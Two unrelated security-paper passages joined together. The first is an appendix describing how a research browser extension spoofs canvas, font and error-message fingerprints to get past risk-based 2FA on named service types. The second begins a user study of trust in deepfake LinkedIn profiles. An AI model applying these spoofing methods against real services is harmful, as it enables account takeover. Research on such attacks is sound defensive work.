it with our primary device, we found that our device supports
88 font families. Then, to spoof the font fingerprint during
the attack phase, our extension changes the offsetWidth and
offsetHeight properties of the span elements that load these
88 fonts to deviate from their default values.
eCommerce-A also does not use 2FA by default and

users need to explicitly enable it. Their site has multiple
fingerprinting scripts on the login page that implement both
basic and advanced fingerprinting techniques, such as canvas,
WebGL, fonts and audio fingerprinting. Our analysis revealed
that eCommerce-A does not actually use fonts and audio finger-
prints for authentication, but only relies on basic fingerprints,
canvas, and WebGL. Regarding their basic fingerprints, we
observed that eCommerce-A collects 46 attributes, such as
Navigator.plugins and Window.devicePixelRatio. For
canvas and WebGL fingerprinting, eCommerce-A uses two
different scripts and draws 7 images in total. In two of the
images it draws a string of a random integer number between 0
and 999. As described previously, our phishing site records the
Base64 values of the images and then, during the attack, our
extension manipulates the toDataURL() method to return the
Base64 strings (in the correct order). For fingerprinting fonts,
eCommerce-A uses “"monospace”, “sans-serif” and “serif” as
base fonts and compares against 485 font families. In compari-
son to Tax-B that uses one base font and loads each font family
to be tested in a single span element, eCommerce-A uses three
different base fonts as a fallback, loading each font family to
be tested in three different span elements, and checking for
changes in the dimensions of any of these elements.
RideSharing exhibits a unique idiosyncrasy as it

exposes two login URLs, which actually behave differently.
Specifically, any login attempts made from the landing page
that do not include the necessary cookies will always result
in 2FA being triggered. Surprisingly, the login attempts from
the other page will only trigger 2FA when a new device is used.
As such, attackers can impersonate the user’s device and log
in from this second page to bypass 2FA. We also found that
if we explicitly enable 2FA through RideSharing’s mobile
app, 2FA is triggered for every login attempt regardless of
which login URL is used. RideSharing collects a total of
379 fingerprinting attributes from the user’s device. More
interestingly, it employs a fingerprinting strategy that we have
not come across in other sites. Specifically, it catches errors
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during each step of the fingerprinting process and pushes
those errors into an array which is used to calculate one of the
fingerprinting values. For example, the script tries to create
an element for obtaining a list of fonts that are available in
Internet Explorer but not supported by other browsers.

B Inconsistency Checks

Tax-A uses toString() to detect if any native functions have
been tampered with. When toString() is called on a func-
tion, it returns a string representation of the function’s code.
In the case of native functions, the returned value shows that
the function uses native code. When a function is overridden
(by our extension) to return a spoofed value, its string repre-
sentation returned by toString() would reveal this change.
For bypassing such checks, we also override the toString()
method to make it return the expected value for native methods.
Tax-B checks whether the browser’s languages have

been tampered with by comparing the Navigator.language
attribute with Navigator.languages. It also compares the
screen’s size with the available size. Finally, it determines the
browser type based on the user-agent and looks for contradic-
tions between the browser type and Navigator.productSub
or eval.toString().length. Similarly to Bank-A’s case,
our attack is not affected by these inconsistency checks as we
spoof these attributes according to the primary device’s values.
RideSharing catches JavaScript runtime exceptions

and uses the error messages as fingerprints. If the attacker’s
browser is different from the victim’s, these error messages
will differ. However, the attacker can hook the specific APIs in
relation to these errors, and change them to show custom error
messages. For example, RideSharing’s code creates an ele-
ment that throws an exception in modern browsers By hooking
document.createElement(), the attacker can make it throw
a custom error message that looks like the one shown by the
victim’s browser when such an element is created.

C Properties of JavaScript Objects

In Table 6 we present the fingerprintable properties of the
Navigator, Window, Screen, Plugin, and MimeType objects
that our extensions can obtain and spoof. We decided on this set
of properties as these are used by Fingeprintjs2 [5], the ex-
tended version of OpenWPM presented in [40], and also in finger-
printing scripts we found during our exploration of high-value
services. Properties marked with ‘*’ are only supported in Inter-
net Explorer, but they are still widely used in phishing websites.

D Canvas Fonts Fingerprinting

TheCanvasRenderingContext2D.measureText()method
returns a TextMetrics object that contains information about
the measured text (such as its width) that is rendered on the

Table 6: Fingerprintable properties of JavaScript objects. Prop-
erties marked with ‘*’ are only supported in Internet Explorer.

JavaScript Object Fingerprintable Properties

Navigator userAgent, platform vendor, vendorSub, product,
productSub, oscpu, cpuClass*, buildID, hard-
wareConcurrency, appName, appCodeName,
appVersion, appMinorVersion*, languages,
language, browserLanguage*, userLanguage*,
systemLanguage*, permissions, onLine, connec-
tion, cookieEnabled, doNotTrack, deviceMemory,
getBattery, geolocation, getGamepads, max-
TouchPoints, msMaxTouchPoints* mediaDevices,
mimeTypes, javaEnabled, plugins, sendBeacon,
vibrate, bluetooth, webdriver

Window innerWidth, innerHeight, outerWidth, outer-
Height, screenLeftm screenTop, screenX, screenY,
devicePixelRatio, ontouchstart, swfobject, Ac-
tiveXObject*, locationbar, menubar, toolbar,
statusbar, personalbar, scrollbar, pageXOff-
set, scrollX, speechSynthesis, sessionStorage,
localStorage, indexedDB, openDatabase

Screen width, height availWidth, availHeight, availLeft,
availTop, colorDepth, pixelDepth, deviceXDPI*,
systemXDPI*, logicalXDPI*, deviceYDPI*,
logicalYDPI*, updateInterval*, orientation

Plugin name, version, description, filename

mimeType type, description, enabledPlugin, suffixes

canvas. If a tested font is not supported, the default fallback
font is used instead. The fingerprinting script loops through a
list of fonts and measures their rendered width. If the baseline
width and the tested font’s width are equal, it means that the
particular font is not supported by the browser. On our primary
device, we hook the measureText() method and collected all
the TextMetrics objects. Then, on our secondary device, our
extension modifies the measureText() method to replace the
returned values with those collected from the primary device.

E Phishing Sites: Fingerprint Exfiltration

We manually examined our VisibleV8 logs for 500,
500, and 200 sites targeting Bank-A, RideSharing, and
WebInfrastructure respectively. We found that phishing
sites use APIs like XMLHttpRequest and WebSocket for
sending fingerprinting values back to the server. Some sites
also include fingerprinting values in the URLs of GET requests.
We found 197, 109, and 4 phishing sites respectively exfil-
trating fingerprinting values. Additionally, 164, 128, and 126
sites send back obfuscated data. While this likely includes fin-
gerprinting values in certain cases, the costly manual process
required to verify this falls outside the scope of our work.
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Abstract
Fabricated media from deep learning models, or deepfakes,
have been recently applied to facilitate social engineering ef-
forts by constructing a trusted social persona. While existing
works are primarily focused on deepfake detection, little is
done to understand how users perceive and interact with deep-
fake persona (e.g., profiles) in a social engineering context.
In this paper, we conduct a user study (n = 286) to quanti-
tatively evaluate how deepfake artifacts affect the perceived
trustworthiness of a social media profile and the profile’s like-
lihood to connect with users. Our study investigates artifacts
isolated within a single media field (images or text) as well
as mismatched relations between multiple fields. We also
evaluate whether user prompting (or training) benefits users
in this process. We find that artifacts and prompting signif-
icantly decrease the trustworthiness and request acceptance
of deepfake profiles. Even so, users still appear vulnerable
with 43% of them connecting to a deepfake profile under
the best-case conditions. Through qualitative data, we find
numerous reasons why this task is challenging for users, such
as the difficulty of distinguishing text artifacts from honest
mistakes and the social pressures entailed in the connection
decisions. We conclude by discussing the implications of our
results for content moderators, social media platforms, and
future defenses.

1 Introduction

The recent progress of deep learning models has significantly
improved our ability to synthesize media content such as im-
age, video, audio, and text [21,34,50,93]. This leads to a rising
concern that “deepfake” techniques can be used to generate
abusive content to manipulate public opinions [11]. More
importantly, deepfakes can also be used in social engineering
attacks [66] where attackers construct a trusted persona (e.g.,
a profile in online social networks) to interact with victims.
Traditionally, fake profiles are constructed with hard-coded
templates and stock photos [6, 35, 81], which are easier to

defend against using existing techniques (e.g., reverse image
search [86] and similarity-based methods [89]). Deepfake
techniques, however, have the potential to circumvent these
methods by generating diverse and unique text and images
to build credible personas, and truly scale-up the deception
efforts (without sacrificing quality).

Deepfake-based social engineering is not only a theoreti-
cally possible threat but is also starting to be applied in prac-
tice. In 2019, a deepfake LinkedIn profile was found to have
successfully infiltrated Washington’s political circle, connect-
ing with government officials including the former Deputy
Director of the President [13,77]. In the same year, a deepfake
voice clone was used to scam a CEO of an energy firm out of
250K U.S. dollars [17]. In addition to these targeted attacks,
recent investigations also revealed that deepfake profiles were
actively used in state-sponsored campaigns [5, 37, 71, 72].

Prior research has explored the detection methods of artifi-
cially generated content [8, 74, 87, 91, 94] with a focus on a
single media type (i.e., either image or text) by searching for
algorithm-generated artifacts (e.g., unnatural facial features).
These artifacts are useful for detection but can be mitigated by
more advanced models; thus, this turns into a cat-and-mouse
game [66]. More importantly, these works do not address the
specific contexts of social engineering attack where human
users are in the loop. Users view artificial profiles holistically
to foster trust and semantic inconsistencies across different
media modalities (e.g., text, image) can make a difference.

In this paper, we fill in the gaps by studying user percep-
tions towards deepfake-generated social persona. We seek to
understand whether (and how) deepfake artifacts affect users’
trust and their decisions to accept or ignore a connection re-
quest. We also explore whether priming or training affects
user perceptions of deepfake profiles, which could inform
intervention strategies within online social networks. Finally,
we examine the common strategies users employ to assess
profile trustworthiness. Unlike existing efforts that study deep-
fake content in isolation (e.g., text only) [23, 25], we seek to
answer these questions within full social network profiles in
a social engineering context.
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We design a user study where users are instructed to review
a series of social network profiles (in the context of LinkedIn).
We control two key variables. First, we control artifact condi-
tions where we introduce different types of deepfake artifacts
into profile photos, biographies, and relational artifacts across
profile fields. Second, we control prompt levels where we
vary the information provided to participants before the study,
ranging from not informing participants about the existence of
deepfake profiles to training participants to look for artifacts.
Upon each encounter of a profile, participants are instructed
to rate the perceived trustworthiness of the profile, describe
the reasons for their ratings, and decide whether they would
accept or ignore a connection request from this profile. At the
end, participants describe their overall strategies for profile
assessment.

We collect results from n = 286 participants from Amazon
Mechanical Turk. We discover that users are largely vulnera-
ble to deception from deepfake profiles. Although generative
artifacts such as grammar errors, image errors, and incon-
sistencies between fields result in significant decreases in
trustworthiness and connection request acceptance, these re-
ductions appear insufficient to protect users. Under conditions
that result in the lowest average trust and acceptance rates, par-
ticipants are still neutrally trusting of the profile and 43% of
them accept the connection request. Under other artifact-laden
conditions, participants are positively trusting with connection
acceptance ranging from 56%–85%.

Additionally, by coding and analyzing the open-form re-
sponses from participants, we observe interesting behaviors
as they assess profiles. To summarize a few:

First, searching for inconsistencies in a profile is already
a strategy of some participants even without any prompting.
However, participants are primarily searching for inconsisten-
cies to assess an individual’s honesty rather than looking for
signs of algorithm-generated profiles. We also observe that un-
prompted participants often focus their attention on the wrong
profile sections (i.e., sections where deepfake algorithms are
least likely to introduce artifacts).

Second, participants have expressed different degrees of dif-
ficulty in assessing different media types. For example, after
some training, users can easily attribute the artifact in photos
as a clear indication of deepfake profiles. Conversely, even
after training, users are less certain about text artifacts (such
as incoherent writings) due to alternative explanations such
as poor writing/communication skills of the profile owners.
Text artifacts afford more plausible deniability.

Third, we also discover that prompting (or training) par-
ticipants to detect these artifacts may incite unintentional be-
haviors, causing false accusations against otherwise authentic
profiles or relying on stereotypes to make judgments.

Based on our findings, we end the paper by discussing im-
plications for social network platforms, social network mod-
erators, and future defenses.

2 Related Works and Research Questions

2.1 Related Work

Deepfakes for Abuse. Deepfakes (combining the words
“deep learning” and “fake”) [66] generally refer to syn-
thetic media generated by deep learning models such as
autoencoders [9, 52] and generative adversarial networks
(GANs) [36]. Deepfake models have been used for abusive
purposes such as modifying (or swapping) human faces in
images/videos [55, 69], generating fake social media com-
ments [29] or online reviews [47,93], and synthesizing human
voices to impersonate target users [34, 73].

Deepfake Artifacts and Detection. While the quality of
synthetic content is improving, deepfake models still pro-
duce artifacts, including human perceivable artifacts (e.g.,
unnatural hairs and accessories in face images) and invisi-
ble ones (e.g., statistical patterns introduced by generative
models). The detection of deepfake content has turned into a
“cat-and-mouse” game. While researchers constantly develop
techniques to detect artifacts in deepfake images/videos [7,74,
87, 91] and text [8, 94], future models are subsequently pro-
posed to remove such artifacts [66] or fool deepfake detectors
using adversarial examples [44].

Understanding User Perception. Recent works have ex-
amined users’ ability to distinguish human-created media
from machine-generated content, including text [23, 25], im-
ages/videos [39, 53], and audio [68, 70, 80]. However, these
studies only focus on a single media modality (e.g., only text
or only image); they do not investigate how users may utilize
multiple modalities within a user profile in a social engineer-
ing context. In addition, they do not investigate the varying
effects of training/prompting on user reactions.

Related works also study the perceived trustworthiness
of user profiles online [24, 28, 61, 62]. Most focus on real
profiles and study the impact of topic choices [61], linguistic
styles [62], and profile images [28] on the profiles’ perceived
trustworthiness. A recent work [45] also uses real profiles
from Airbnb (text portion only) but primes users by telling
them that some profiles are AI-generated. They find that such
priming can significantly decrease users’ trust towards these
real profiles. Different from existing studies, we use profiles
generated by deepfake models (including both images and
text) to holistically examine their impact on user trust.

2.2 Our Motivations

Why Study Deepfake Profiles. Our study is motivated by
the following considerations.

First, deepfake profiles, when used for social engineer-
ing, have a natural advantage against existing defenses. Prior
works (including those from LinkedIn [89]) show that existing
Sybil (fake) profiles are usually generated using hard-coded
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templates and stock photos [35, 81, 86], which can be eas-
ily spotted (by human labelers [86]). Stock images can be
detected via Google’s reverse image search [6] and text tem-
plates can cause high similarities among Sybil profiles [89].
Deepfakes can circumvent these methods as they generate
original text/images without reusing similar text or stock pho-
tos.

Second, deepfake profiles have the potential to effectively
deceive users. While comparing deepfake profiles with ex-
isting Sybils is not a focus of our study, we believe such a
comparison is useful. As such, in Appendix B, we present a
secondary user study we conducted which shows that deep-
fake profiles (even with artifacts) have more success in gain-
ing users’ trust than real-world Sybil profiles.

Third, deepfake profiles have started to be used in real-
world social engineering attacks and deception campaigns.
For instance, a deepfake profile has successfully infiltrated
Washington’s political circle, connecting with politicians and
government officials [13, 77]. In other examples [37, 71], in-
vestigators find that deepfake profiles were used in Russian-
operated campaigns that target U.S. users. While this is not
a typical “targeted” social-engineering attack, it represents a
dedicated attempt for deception and opinion manipulation.

Our Research Questions. We seek to understand user per-
ception of deepfake profiles and their affect upon social engi-
neering attacks in online social networks. We ask the follow-
ing research questions:

RQ1 Do deepfake artifacts or priming (training) influence
the perceived trustworthiness of a profile?

RQ2 Do deepfake artifacts or priming (training) influence
user decisions on accepting a connection request1?

RQ3 What common strategies do users employ to assess the
trustworthiness of a profile?

3 Methodology

We conduct an online user study where participants are in-
structed to examine a series of social network profiles. In this
experiment, we consider 5 profile conditions (within-subjects)
where we either present a consistent profile or a profile with
one of four deepfake artifacts (i.e., artifact variable). Partici-
pants are also exposed to one of three different prompt levels
(between-subjects) where they receive different information
about deepfake profiles and artifacts (i.e., prompt variable). In
the following section, we describe our experimental scenario,
our profile generation method, and our user study procedure2.

1We are interested in connection requests because they are usually the
first step in conducting phishing and can help an attacker make lateral move-
ments within an organization. For instance, an attacker may establish several
connections with company employees before reaching a CEO.

2Due to space, we provide supplementary materials online [65].

3.1 Experimental Scenario

We design our study around the LinkedIn social network
for two reasons. First, fake LinkedIn profiles are commonly
used in social engineering [4] and deepfakes are found to
facilitate such efforts [13, 77]. Second, LinkedIn users expect
unsolicited connection requests (e.g., from recruiters).

We develop a role-playing scenario for the study, which is
a commonly used method to study phishing susceptibility [54,
63, 79, 88]. To construct our scenario, we reference real-
world phishing incidents which happened during a company
merger or acquisition [30, 42, 56], a time when employees
expect (unsolicited) communications from people in different
organizations and third-party services (e.g., law firms) [30].
Based on real-world incidents, we use the following scenario:

You are a project manager at the fictional startup com-
pany “Pear Co”, which has recently undergone a merger
with another company, “Bird Inc”. You have received a
number of connection requests on LinkedIn with profiles
that say they are currently working at Bird Inc. This is
your first time meeting these users.

We choose to employ role-playing as it allows us to put par-
ticipants in a scenario where the profiles they encounter are
relevant to their persona (i.e., potential colleagues during a
company merger). In order to study social engineering attacks
without role-playing, we would need to create profiles that
cater to each individual participant, which is infeasible.

3.2 Constructing Social Network Profiles

For our study, we methodically construct LinkedIn profiles
using deepfake models. As shown in Figure 1, a LinkedIn
profile contains several important fields such as a name, a
profile image, a biography/summary (i.e., “About”), a job
history (i.e., “Experience”), and an educational history (i.e.,
“Education”). To generate profiles, we first decide on a set of
professions, and then train deepfake models to populate the
profiles with generated images and text.

Selecting Professions. We select the profiles’ professions
such that the profession is relevant to the “company merger”
scenario and is at an appropriate position to interact with
the participant’s role. Following the occupational groups de-
fined by U.S. Bureau of Labor [2], we select three professions
from three different departments: a Human Resource Man-
ager (“HR”), a Database Administrator (“IT”), and a Billing
Manager (“Fin”).

Generating Deepfake Text and Images. Our goal is not
necessarily to advance the state-of-the-art for deepfake gen-
eration, but rather to control the “artifacts” in the generated
profiles to study user perception.
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Using a profile image 

that contains artifacts 
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Figure 1: Profile Artifact Conditions – We have 5 conditions: 1 consistent profile condition and 4 conditions with profile artifacts.

First, to generate profile images, we use a popular gen-
erative model, StyleGAN2 [50]3. We train the model with
a public human-face dataset [49] using the recommended
configurations.

Second, we generate the “About” section, which is free-
form text. Although there are pre-trained text generation mod-
els, most of them are too generic to be generate a LinkedIn
summary. Instead, we take the GPT-2 model [75] and perform
fine-tuning4 using the public resume database from Might
Recruiter [1]. We take a standard 12-layer GPT-2 as the base
and fine-tune it for 20 additional epochs. For each of the three
professions, we gather 1,200 resumes where each resume
includes a bio-summary, an educational history, and a job his-
tory. Using the summary text, we train a customized GPT-2
model for each profession. We further apply nucleus sampling
(p = 0.9) to improve text fluency and coherence [43].

Third, we use gender-neutral names for the profiles to avoid
causing inconsistencies with the profile images. We construct
a pool of 7 gender-neutral English names [83], including
“Alex”, “Sam”, “Lee”, “Chris”, “Terry”, “Pat”, and “Robin”.

Finally, the rest of the data fields (e.g., educational history
and job history) can be constructed by sampling the corre-
sponding entities from Might Recruiter resume dataset.

3.3 Controlling Profile Artifacts
To study how different artifacts affect user trust, we explicitly
control the artifacts in generated profiles. As shown in Fig-
ure 1, we have five profile conditions, including one consistent

3We choose StyleGAN2 (for image generation) and GPT2 (for text gen-
eration) because (1) these models are publicly available (meaning they are
also available to attackers) and (2) these models have been used to generate
abusive deepfakes in practice [3, 37, 72].

4We did not use the GPT-3 model [14] as the API was not yet open to the
public (GPT-3 is also expensive to retrain). We manually confirm that the
text artifacts used in our study still exist in GPT-3 outputs.
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Figure 2: Profile Construction Method – To construct a pro-
file, an image is randomly selected from one of the three image
pools (each image pool has 15 female photos and 15 male photos), a
gender-neutral name is random selected from a pool of 7 names, and
a profile text template is selected from three text pools (each text
pool has 3 templates, one template per profession: HR, IT, and Fin).

profile and four profiles with deepfake artifacts. We consider
inconsistencies that commonly arise from the use of deepfake
models. We investigate two intra-field inconsistencies that
are the result of isolated mistakes within the free-form text
summary and the profile image, and two inter-field inconsis-
tencies that are the result of semantic differences between a
generated data field and another field in the profile.

The Building Blocks. Figure 2 shows the basic building
blocks used to construct profiles under each condition. At the
high-level, we have a dataset of profile images, including three
image pools (each pool has 15 female and 15 male images).
Then we have a dataset of profile text templates, including
three template pools (each pool has three templates for HR,
IT, and Fin, respectively). Each text template contains an
“About” summary and the experience and education sections.
Finally, we have a set of gender-neutral names. Each time
we construct a profile, we randomly select one image from a
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specified image pool, one text template, and one random name
for the profile. In the following, we introduce each dataset
and condition in detail5.

¶ Consistent Profile. Consistent profiles are constructed
without using any deepfake content. As shown in Figure 2, a
consistent profile is constructed with the base text and base im-
age pools that contain real photos and real resume text. More
specifically, base images are real photos randomly selected
from the training dataset of human faces [50], including 15
male and 15 female images. We ensure these images are (1)
professional, (2) smiling, and (3) between the ages of late 20s
to early 40s. Note that (1) is informed by common profile
photos used in LinkedIn, (2) is informed by a recent study that
shows smiling photos could improve perceived trust [28], and
(3) is to make sure the person’s age roughly matches the job
experience. To account for potential bias towards any specific
image, a random image from this base image pool will be
selected to generate a “consistent profile” during our study.

For the text, we construct the “About” summary, education
history, and work experience based on real resumes in the
Might Recruiter dataset. Given a profession, we randomly se-
lect 3 resumes and manually synthesize them into a single pro-
file (to protect the resume owner’s privacy). Even though the
resume data is publicly available, we did not use the original
resumes directly. We ensure that no semantic inconsistencies
are introduced, i.e., the summary always correctly references
the items in the experience/education sections. We also re-
place their current company name with Bird Inc to match
our study’s scenario (Section 3.1). The summary is between
80-120 words in length [61]. The work experience is between
6-12 years to match with the age of the profile images.

Finally, as mentioned before, a gender-neutral name is ran-
domly selected for the profile. A screenshot of an example
profile page is in Figure 8 in the Appendix.

In this study, we construct “consistent profiles” as the base-
line as they do not contain any deepfake image/text. We did
not directly use real LinkedIn users’ profiles because it would
require crawling a representative set of user profiles, which is
against LinkedIn’s Terms of Service [59]. In our experiment
(Section 4.2), we show that the acceptance rate of friend re-
quests from our consistent profiles is comparable with those
of real users reported in prior works6.

· Intra-field: Image Artifacts. These profiles are con-
structed similarly with consistent profiles with one key
difference—we use deepfake images generated by StyleGAN
that contain artifacts. Figure 3 shows some example artifacts
produced by StyleGAN such as malformed faces, distort-
ed/asymmetric accessories, and blurry backgrounds. We select
30 generated images (15 female, 15 male) with noticeable

5Profile screenshots can be found in the supplementary material [65].
6Our consistent profiles have an acceptance rate of 90% (see Figure 6),

which is within range of the acceptance rate of cloned profiles of real people
(60%–90%) [10] and is comparable to that of real user profiles (79%) [92].

Colorful Blobs Distorted Accessories Distorted Background Asymmetry

Figure 3: Image Artifacts Examples – We show example im-
ages produced by StyleGAN2 that contain visual artifacts.
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Figure 4: Text Artifacts Example – The example is picked
from a text template used in our user study. We highlight the text
that is incohesive, repetitive, or out of context.

artifacts to represent a “worse-case” scenario for attackers.
These images follow the same selection criteria as those for
the base images (i.e., professional, smiling, and with an age
from late 20s to early 40s).

¸ Inter-field: Image Artifacts. This condition introduces
an inter-field inconsistency between the age shown in a profile
image and the age implied by a profile’s work experience. The
intuition is that the age of a user is often correlated to their ed-
ucational and work experience (e.g., it is rare for a 19-year-old
to be a bar-certified lawyer). We select 30 generated images
by StyleGAN (15 female, 15 male) that appear to be in their
late teens or early 20s and thus unlikely to hold the positions
described in our base text. We also ensure these images do
not have perceptible artifacts. The rest of the selection criteria
remain the same with those of the base images.

¹ Intra-field: Text Artifacts. This condition introduces
artifacts to the “About” section. Instead of using text from
real resumes, we use GPT-2 generated text that contains com-
mon grammatical and semantic errors (e.g., repetition of wo-
rds/phrases, and incoherent/conflicting train of thought). Fig-
ure 4 shows an example summary used in our study.

º Inter-field: Text Artifacts. This condition introduces an
inter-field inconsistency between the “About” section and the
job/education history sections. These errors include incorrect
references to educational degrees they received (or companies
they worked at) and skills that do not match with their stated
profession. To create such summary text, we feed our GPT-2
model with the original, consistent text up to a key reference
(e.g., to a job) and use GPT-2 to generate new text to replace
the original reference; GPT2 is then fed again with the newly
generated text until we reach another reference. The process
continues until we reach the end of the original summary
text. This method ensures that the overall structure remains
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similar to the original, consistent text while the references are
replaced with authentic GPT-2 generated text. We also correct
any grammar errors in the generated text.

3.4 Prompting Users
To understand the impact of user prompting/training, we di-
vide participants into three groups (between-subjects). We
expect the results from different prompt groups can help in-
form intervention strategies for online social networks.

• No Prompt: We do not mention that the profiles could
be algorithm generated nor ask users to look for potential
artifacts. The tutorial page only briefly introduces the
background of LinkedIn and its profiles.

• Soft Prompt: We additionally inform participants dur-
ing the tutorial that some profiles may be fake, i.e., gen-
erated by Artificial Intelligence (AI). However, we do
not provide specific information on what fake profiles
look like or how to detect them.

• Hard Prompt: We inform participants that some pro-
files may be fake and include a detailed tutorial to de-
scribe deepfake techniques and common artifacts in gen-
erated images and text.

3.5 Experimental Design
Our study controls two variables: (1) prompt level (between-
subjects) and (2) artifact condition (within-subjects). First,
participants are divided into three prompt groups. Then, each
participant is instructed to view three profiles and answer a set
of questions. The three profiles include one consistent profile
(¶), one profile with intra-field artifacts (randomly choosing
intra-field image · or text ¹), and one profile with inter-field
artifacts (randomly choosing inter-field image ¸ or text º).
To make sure participants do not view any repeated profile
elements, we have ensured that the three profiles (1) cover all
three professions (HR, IT, and Fin), and (2) do not use the
same profile image or name. We also randomize the order of
the three profiles to avoid biases.

Study Procedure. First, the participant reads and signs
the consent form and reads a tutorial page. The tutorial page
varies based on the prompt group (see Section 3.4). Then, the
participant enters the main task to play the role of a project
manager in the company merger scenario (see Section 3.1).
The participant examines three LinkedIn profiles and answers
questions under each profile. Finally, we ask follow-up ques-
tions and collect their demographic information. The ques-
tions used in our study can be found in Appendix A.

Definition of Trust. A key component of our study is to
assess trust. Theoretical literature on trust [46] typically de-
fines trust as the relationship between two parties that denotes

one party’s (the “Trustor”) willingness to take a risk with
another party (the “Trustee”) given that they cannot control
the actions of the other party (e.g., loaning a book to a friend
with the expectation that they will return it). Characteristics
of both the trustee and the trustor are considered to impact
the overall trust relationship; our study considers both.

The perceived “trustworthiness” of the Trustee (i.e., a pro-
file) is the focus of study. We follow Mayer et al.’s integrated
definition [64] which postulates that trustworthiness is a com-
bination of three factors that the Trustor perceives in the
Trustee: The Trustee’s adherence to a set of principles (In-
tegrity), the Trustee’s skill and competence (Ability), and
the Trustee’s intent to do good to the Trustor (Benevolence).
We measure these qualities when a participant encounters a
profile in the main task of our study.

The characteristic of a Trustor (i.e., the participants in our
study) is typically defined as the general propensity to trust
others (or one’s “generalized trust”). In other words, different
people may be more or less trusting of others. We measure this
participant-specific quality within the follow-up questions.

Main Task Questions. Upon viewing each profile, the
participant will answer five questions (see Appendix A.1).

Three of these questions directly measure the participants
perception of integrity, ability, and benevolence in the pre-
sented profile, which collectively measure the perceived “trust-
worthiness” of the profile. Like prior works [15, 45, 61], we
use three scenario-specific statements to directly map to each
quality and ask participants to state their agreement on a scale
from [0–100]: “This profile is an accurate depiction of the
user ” [Integrity; Q1]; “This user is knowledgeable in their
role as a [Database Administrator / Human Resource Man-
ager / Billing Manager]” [Ability; Q2]; “This person will
make newcomers feel welcome” [Benevolence; Q3]. Then,
we ask participants for an open-form response regarding the
profile-specific reasons behind their trust ratings [Q4], and a
binary response on whether they would accept or ignore the
connection request from this profile [Q5].

Follow-up Questions. After the main tasks, we ask a series
of follow up questions (see Appendix A.2), including their
general strategies to assess profiles [Q6], and their “general-
ized trust” [Q7–Q9] (inspired by [45]). We also collect users’
background knowledge in the relevant professions, social net-
work habits, and demographic information.

Attention Check and Action Tracking. To make sure the
obtained results are reliable, we design two attention ques-
tions. On each profile page, we implement JavaScript code
to record the amount of time a user hovers over notable sec-
tions on the page and their interaction events with the profile
(e.g., image expansion). The results will be used to infer user
actions and their center of attention in later analysis.
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Figure 5: Profile Trust Score – We show the box plot of profile trust scores (based on Q1, Q2, Q3) under different prompt and artifact
conditions. The line (and dot) inside the box represents the median (and mean) trust score, the box hinges represent the first and third quartiles,
and the whiskers extend up to 1.5 times the inter-quartile range.

3.6 Recruitment and Ethics
We recruited participants from Amazon Mechanical
Turk (MTurk) between March and April of 20217. We did
not collect any personal identifiable information (PII) from
the participants. After the study, we debriefed the participants
with the full details of the study. We also offered the partic-
ipants the opportunity to withdraw their data after debrief-
ing (we did not receive such requests). To get high-quality
MTurk workers, we recruited U.S. workers who have com-
pleted at least 100 tasks successfully with an approval rate
greater than 95%. Participants were excluded if they failed
one of two attention checks and then were further verified to
be dishonest8. In total, we had n = 286 qualified participants.

Participants ranged in age between 20-70+ with a median
of 35-39 years old; 60% identify as male, 39% as female, and
1% as non-binary. The survey took a median of 12.95 minutes
to complete, and each participant was compensated $1.75 for
their time. Full demographic information of participants is
presented in the supplementary material [65].

4 Impacts on Trust and Request Acceptance

We first analyze how deepfake artifacts and prompting condi-
tions affect the perceived trustworthiness of a profile (RQ1)
and the likelihood of friend request acceptance (RQ2).

In addition to the primary variables, we also analyze other
potentially influential factors. We expect an individual’s gen-
eralized trust (their propensity to trust others) to affect the
perceived trustworthiness of a profile and thus the response
to the friend request. Additionally, we evaluate how the de-
mographic information of the individual may influence trust.
We consider age and gender given they are reported to have
an impact in prior phishing-related studies [20, 58, 79]. For

7Our study was reviewed and approved by the IRB prior to recruitment.
8We manually inspect the open-form responses and exclude those with

irrelevant single-word answers, answers copied from online sources, and
duplicated answers across multiple participants.

brevity, the analysis of other factors such as education back-
ground, professional experience, and social media experience
is presented in the supplementary material [65].

4.1 Perceived Profile Trustworthiness

For each profile, participants rate their trustworthiness by
assessing the integrity [Q1], ability [Q2], and benevolence
[Q3] of the profile. While these factors are theoretically or-
thogonal [64], we find a strong positive pair-wise correlation
between these measured factors (R >= 0.71, p < 0.001 for
all correlations). Similar to past work [15, 45, 61], we aggre-
gate these factors by defining a “trust score” as the mean of
these variables to simplify the analysis. The trust score has a
value range of [0,100]. This score associates values less than
50 with a general distrust towards the profile, greater than 50
with a general trust, and equal to 50 with a lack of opinion.

Figure 5 shows a box plot of the trust score. General trends
can be observed in the descriptive statistics. For example,
“Hard”-prompted profiles are generally perceived as the least
trustworthy (x̄ = 63.3, s = 27.3)9 followed by “Soft” (x̄ =
68.4, s = 22.8) and “No” prompt (x̄ = 74.4, s = 17.4).

Surprisingly, in nearly all cases of prompting and artifact
conditions, the average trust score of profiles is relatively posi-
tive (i.e., over the value of 50), denoting that most participants
are trusting of presented profiles.

Modeling and Results. To quantify these effects, we use
linear mixed-effects regression (or LMER) modeling. Regres-
sion is a common tool for statistical significance tests on a
set of explanatory variables where we can isolate the effect of
one variable while keeping other variables constant [67]. Un-
like traditional linear regression, LMER can model random
effects, allowing for non-independence between measured
outcomes. Given the repeated-measured design of our study,
this modeling is most appropriate.

9x̄ denotes sample mean; s denotes sample standard deviation.
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Variable Estimate (β) Std. Err. p-value

Intercept 75.118 3.005 <0.001***

Prompt (Reference = Soft Prompt)
No Prompt 5.187 2.019 0.011*
Hard Prompt -4.447 2.024 0.029*

Artifact (Reference = Consistent)
Inter Image -2.018 2.093 0.335
Inter Text -10.700 2.072 <0.001***
Intra Image -12.334 2.079 <0.001***
Intra Text -7.207 2.089 <0.001***

Gender (Reference = Female)
Male -2.317 1.703 0.175
Non-Binary -8.664 8.287 0.297

Age 0.027 0.436 0.951

Generalized Trust 0.388 0.053 <0.001***

Table 1: Trust Rating Analysis – Linear mixed-effects regres-
sion model. The unit for estimate and standard error is the aggregated
trust score. “Age” (in units of 5 years) and “Generalized Trust” are
numeric and thus do not have a reference group. Significance is
denoted by *** (p < 0.001), ** (p < 0.01), and * (p < 0.05).

We model the profile artifact, prompting condition, general-
ized trust, and demographics10 of a participant as fixed effects
upon the measured trust score. Additionally, to account for
the fact that each participant responds to multiple profiles and
thus introduces non-independence between ratings, we model
each participant as a random effect upon the trust score.

The model is summarized in Table 1. Estimates (β) are the
regression coefficients which represent the mean change in
the output variable given a one-unit shift in the input vari-
able while holding other input variables constant. A positive
estimate indicates a positive correlation. Standard errors are
represented in units of the aggregated trust score (ranging
from 0 to 100), The p value represents the likelihood that the
observed differences are caused by chance. The difference is
considered statistically significant when p < 0.05.

We find that all prompt levels have significant effects on the
